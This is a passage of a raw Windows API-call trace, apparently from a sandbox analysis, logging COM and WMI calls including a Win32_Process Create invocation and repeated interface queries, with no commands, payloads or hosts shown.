puCount=0x1bb7e600*=0x2) returned 0x0 [0156.578] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40640, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0156.578] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40640, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.578] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40580, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0156.578] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40580, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0156.578] IWbemServices:ExecMethod (in: This=0x1bc66090, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bbd4590, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1bbd4840, ppCallResult=0x0) returned 0x0 [0156.883] IWbemClassObject:Get (in: This=0x1bbd4840, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c27a0*=0, plFlavor=0x28c27a4*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xd0c, varVal2=0x0), pType=0x28c27a0*=19, plFlavor=0x28c27a4*=0) returned 0x0 [0156.883] IWbemClassObject:Get (in: This=0x1bbd4840, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c27a0*=19, plFlavor=0x28c27a4*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xd0c, varVal2=0x0), pType=0x28c27a0*=19, plFlavor=0x28c27a4*=0) returned 0x0 [0156.884] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0156.884] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0156.884] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0156.884] IUnknown:Release (This=0x1a943398) returned 0x1 [0156.886] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bbb39f0) returned 0x0 [0156.886] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbb39f0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0156.886] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbb39f0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc40040) returned 0x0 [0156.887] WbemDefPath:IUnknown:Release (This=0x1bbb39f0) returned 0x0 [0156.887] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40040, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc40040) returned 0x0 [0156.887] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40040, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0156.887] WbemDefPath:IUnknown:AddRef (This=0x1bc40040) returned 0x3 [0156.887] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40040, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0156.887] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40040, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0156.887] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40040, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bbb39d0) returned 0x0 [0156.887] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbb39d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0156.887] WbemDefPath:IUnknown:Release (This=0x1bbb39d0) returned 0x3 [0156.887] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0156.887] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0156.887] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40040, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0156.887] WbemDefPath:IUnknown:Release (This=0x1bc40040) returned 0x2 [0156.887] WbemDefPath:IUnknown:Release (This=0x1bc40040) returned 0x1 [0156.888] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0156.888] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0156.888] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40040, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc40040) returned 0x0 [0156.888] WbemDefPath:IUnknown:AddRef (This=0x1bc40040) returned 0x3 [0156.888] WbemDefPath:IUnknown:Release (This=0x1bc40040) returned 0x2 [0156.888] WbemDefPath:IWbemPath:SetText (This=0x1bc40040, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0156.888] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40040, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0156.888] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40040, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0156.888] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40040, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0156.888] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc40040, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0156.888] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40040, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0156.888] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc40040, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0156.888] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0156.888] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0156.888] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0156.888] IUnknown:Release (This=0x1a943398) returned 0x1 [0156.890] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bbb37b0) returned 0x0 [0156.891] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbb37b0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0156.891] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbb37b0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc3ff80) returned 0x0 [0156.891] WbemDefPath:IUnknown:Release (This=0x1bbb37b0) returned 0x0 [0156.891] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ff80, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc3ff80) returned 0x0 [0156.891] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ff80, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0156.891] WbemDefPath:IUnknown:AddRef (This=0x1bc3ff80) returned 0x3 [0156.891] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ff80, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0156.891] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ff80, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0156.891] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ff80, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bbb3850) returned 0x0 [0156.891] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbb3850, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0156.891] WbemDefPath:IUnknown:Release (This=0x1bbb3850) returned 0x3 [0156.891] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0156.891] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0156.891] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ff80, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0156.892] WbemDefPath:IUnknown:Release (This=0x1bc3ff80) returned 0x2 [0156.892] WbemDefPath:IUnknown:Release (This=0x1bc3ff80) returned 0x1 [0156.892] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0156.892] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0156.892] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ff80, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc3ff80) returned 0x0 [0156.892] WbemDefPath:IUnknown:AddRef (This=0x1bc3ff80) returned 0x3 [0156.892] WbemDefPath:IUnknown:Release (This=0x1bc3ff80) returned 0x2 [0156.892] WbemDefPath:IWbemPath:SetText (This=0x1bc3ff80, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0156.892] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ff80, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0156.892] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ff80, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0156.892] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ff80, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0156.892] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3ff80, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0156.892] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ff80, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0156.892] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3ff80, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0156.892] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ff80, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0156.892] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0156.892] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0156.892] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.892] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0156.893] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0156.893] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0156.893] IUnknown:Release (This=0x1a943398) returned 0x1 [0156.894] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bbb3890) returned 0x0 [0156.895] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbb3890, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0156.895] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbb3890, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1bc3fe00) returned 0x0 [0156.895] WbemDefPath:IUnknown:Release (This=0x1bbb3890) returned 0x0 [0156.895] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fe00, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1bc3fe00) returned 0x0 [0156.895] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fe00, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0156.895] WbemDefPath:IUnknown:AddRef (This=0x1bc3fe00) returned 0x3 [0156.895] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fe00, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0156.895] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fe00, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0156.895] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fe00, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bbb3790) returned 0x0 [0156.895] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbb3790, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0156.895] WbemDefPath:IUnknown:Release (This=0x1bbb3790) returned 0x3 [0156.896] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0156.896] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0156.896] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fe00, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0156.896] WbemDefPath:IUnknown:Release (This=0x1bc3fe00) returned 0x2 [0156.896] WbemDefPath:IUnknown:Release (This=0x1bc3fe00) returned 0x1 [0156.896] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0156.896] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0156.896] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fe00, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1bc3fe00) returned 0x0 [0156.896] WbemDefPath:IUnknown:AddRef (This=0x1bc3fe00) returned 0x3 [0156.896] WbemDefPath:IUnknown:Release (This=0x1bc3fe00) returned 0x2 [0156.896] WbemDefPath:IWbemPath:SetText (This=0x1bc3fe00, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0156.896] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fe00, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0156.896] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fe00, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0156.896] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fe00, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.896] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0156.896] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0156.896] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0156.896] IUnknown:Release (This=0x1a943398) returned 0x1 [0156.897] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bbb3670) returned 0x0 [0156.898] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbb3670, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0156.898] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bbb3670, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: 